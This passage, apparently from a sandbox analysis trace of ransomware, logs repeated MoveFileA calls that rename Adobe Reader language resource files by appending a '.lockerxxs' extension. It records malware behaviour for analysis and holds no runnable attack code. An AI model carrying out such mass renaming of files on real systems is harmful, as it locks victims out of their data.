(x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.he_il.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.he_IL.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.he_il.txt.lockerxxs")) returned 1 [0074.903] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.hr.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.hr.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.hr.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.hr.txt.lockerxxs")) returned 1 [0074.907] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.hr_HR.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.hr_hr.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.hr_HR.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.hr_hr.txt.lockerxxs")) returned 1 [0074.911] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.hu.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.hu.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.hu.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.hu.txt.lockerxxs")) returned 1 [0074.917] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.hu_HU.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.hu_hu.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.hu_HU.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.hu_hu.txt.lockerxxs")) returned 1 [0074.921] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.it.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.it.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.it.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.it.txt.lockerxxs")) returned 1 [0074.929] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.it_CH.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.it_ch.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.it_CH.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.it_ch.txt.lockerxxs")) returned 1 [0074.933] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.it_IT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.it_it.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.it_IT.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.it_it.txt.lockerxxs")) returned 1 [0074.936] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.it_IT_PREEURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.it_it_preeuro.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.it_IT_PREEURO.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.it_it_preeuro.txt.lockerxxs")) returned 1 [0074.940] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ja.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ja.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ja.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ja.txt.lockerxxs")) returned 1 [0074.945] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ja_JP.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ja_jp.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ja_JP.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ja_jp.txt.lockerxxs")) returned 1 [0074.949] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ja_JP_TRADITIONAL.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ja_jp_traditional.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ja_JP_TRADITIONAL.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ja_jp_traditional.txt.lockerxxs")) returned 1 [0074.953] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ko.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ko.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ko.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ko.txt.lockerxxs")) returned 1 [0074.958] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ko_KR.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ko_kr.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ko_KR.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ko_kr.txt.lockerxxs")) returned 1 [0074.963] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.lt.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.lt.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.lt.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.lt.txt.lockerxxs")) returned 1 [0074.967] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.lt_LT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.lt_lt.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.lt_LT.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.lt_lt.txt.lockerxxs")) returned 1 [0074.982] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.lv.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.lv.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.lv.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.lv.txt.lockerxxs")) returned 1 [0074.987] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.lv_LV.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.lv_lv.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.lv_LV.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.lv_lv.txt.lockerxxs")) returned 1 [0074.991] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nb.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nb.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nb.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nb.txt.lockerxxs")) returned 1 [0074.995] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nb_NO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nb_no.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nb_NO.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nb_no.txt.lockerxxs")) returned 1 [0075.000] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nl.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nl.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nl.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nl.txt.lockerxxs")) returned 1 [0075.016] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nl_BE.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nl_be.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nl_BE.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nl_be.txt.lockerxxs")) returned 1 [0075.020] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nl_BE_PREEURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nl_be_preeuro.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nl_BE_PREEURO.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nl_be_preeuro.txt.lockerxxs")) returned 1 [0075.024] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nl_NL.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nl_nl.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nl_NL.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nl_nl.txt.lockerxxs")) returned 1 [0075.028] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nl_NL_PREEURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nl_nl_preeuro.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nl_NL_PREEURO.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nl_nl_preeuro.txt.lockerxxs")) returned 1 [0075.032] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nn_NO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nn_no.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nn_NO.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nn_no.txt.lockerxxs")) returned 1 [0075.036] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pl.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.pl.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pl.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.pl.txt.lockerxxs")) returned 1 [0075.040] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pl_PL.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.pl_pl.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pl_PL.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.pl_pl.txt.lockerxxs")) returned 1 [0075.045] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pt_BR.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.pt_br.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pt_BR.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.pt_br.txt.lockerxxs")) returned 1 [0075.053] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pt_PT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.pt_pt.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pt_PT.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.pt_pt.txt.lockerxxs")) returned 1 [0075.056] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pt_PT_PREEURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.pt_pt_preeuro.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pt_PT_PREEURO.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.pt_pt_preeuro.txt.lockerxxs")) returned 1 [0075.061] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ro.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ro.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ro.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ro.txt.lockerxxs")) returned 1 [0075.065] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ro_RO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ro_ro.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ro_RO.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ro_ro.txt.lockerxxs")) returned 1 [0075.069] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ru.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ru.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ru.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ru.txt.lockerxxs")) returned 1 [0075.073] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ru_RU.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ru_ru.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ru_RU.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ru_ru.txt.lockerxxs")) returned 1 [0075.077] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ru_UA.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ru_ua.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ru_UA.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ru_ua.txt.lockerxxs")) returned 1 [0075.080] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sk.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sk.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sk.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sk.txt.lockerxxs")) returned 1 [0075.084] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sk_SK.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sk_sk.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sk_SK.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sk_sk.txt.lockerxxs")) returned 1 [0075.088] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sl.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sl.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sl.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sl.txt.lockerxxs")) returned 1 [0075.096] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sl_SI.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sl_si.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sl_SI.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sl_si.txt.lockerxxs")) returned 1 [0075.100] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sv.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sv.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sv.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sv.txt.lockerxxs")) returned 1 [0075.104] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sv_FI.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sv_fi.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sv_FI.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sv_fi.txt.lockerxxs")) returned 1 [0075.109] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sv_SE.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sv_se.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sv_SE.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sv_se.txt.lockerxxs")) returned 1 [0075.113] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.tr.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.tr.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.tr.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.tr.txt.lockerxxs")) returned 1 [0075.118] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.tr_TR.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.tr_tr.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.tr_TR.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.tr_tr.txt.lockerxxs")) returned 1 [0075.122] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.uk.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.uk.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.uk.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.uk.txt.lockerxxs")) returned 1 [0075.126] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.uk_UA.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.uk_ua.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.uk_UA.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.uk_ua.txt.lockerxxs")) returned 1 [0075.130] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 